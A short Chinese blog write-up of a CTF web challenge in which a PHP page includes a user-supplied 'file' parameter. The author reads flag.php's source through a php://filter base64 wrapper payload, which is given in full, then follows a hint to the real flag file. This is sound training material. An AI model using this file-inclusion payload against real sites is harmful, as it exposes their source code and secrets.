本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com


题目要求是以 GETQ方式提交名为file的参数,参数前三个字符为php时,输出Nice!!!
否则输出Hacker!
前三个字符为php时才能进行include($ GET["file"]);
这时很容易知道题目考的就是php伪协议,
php://filter
?file=php://filter/read=convert.base64-encode/resource=flag.php

解码:
< ?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_’flag’"."<br/>";
echo "换个思路,试试PHP伪协议呢";
显然flag不在这里
这时我们注意到解码的内容:
echo "real_flag_is_in_’flag’"."<br/>";
忽略了一个细节,将flag.php去掉.php试试

总结
PHP伪协议
php://filter
仔细阅读提示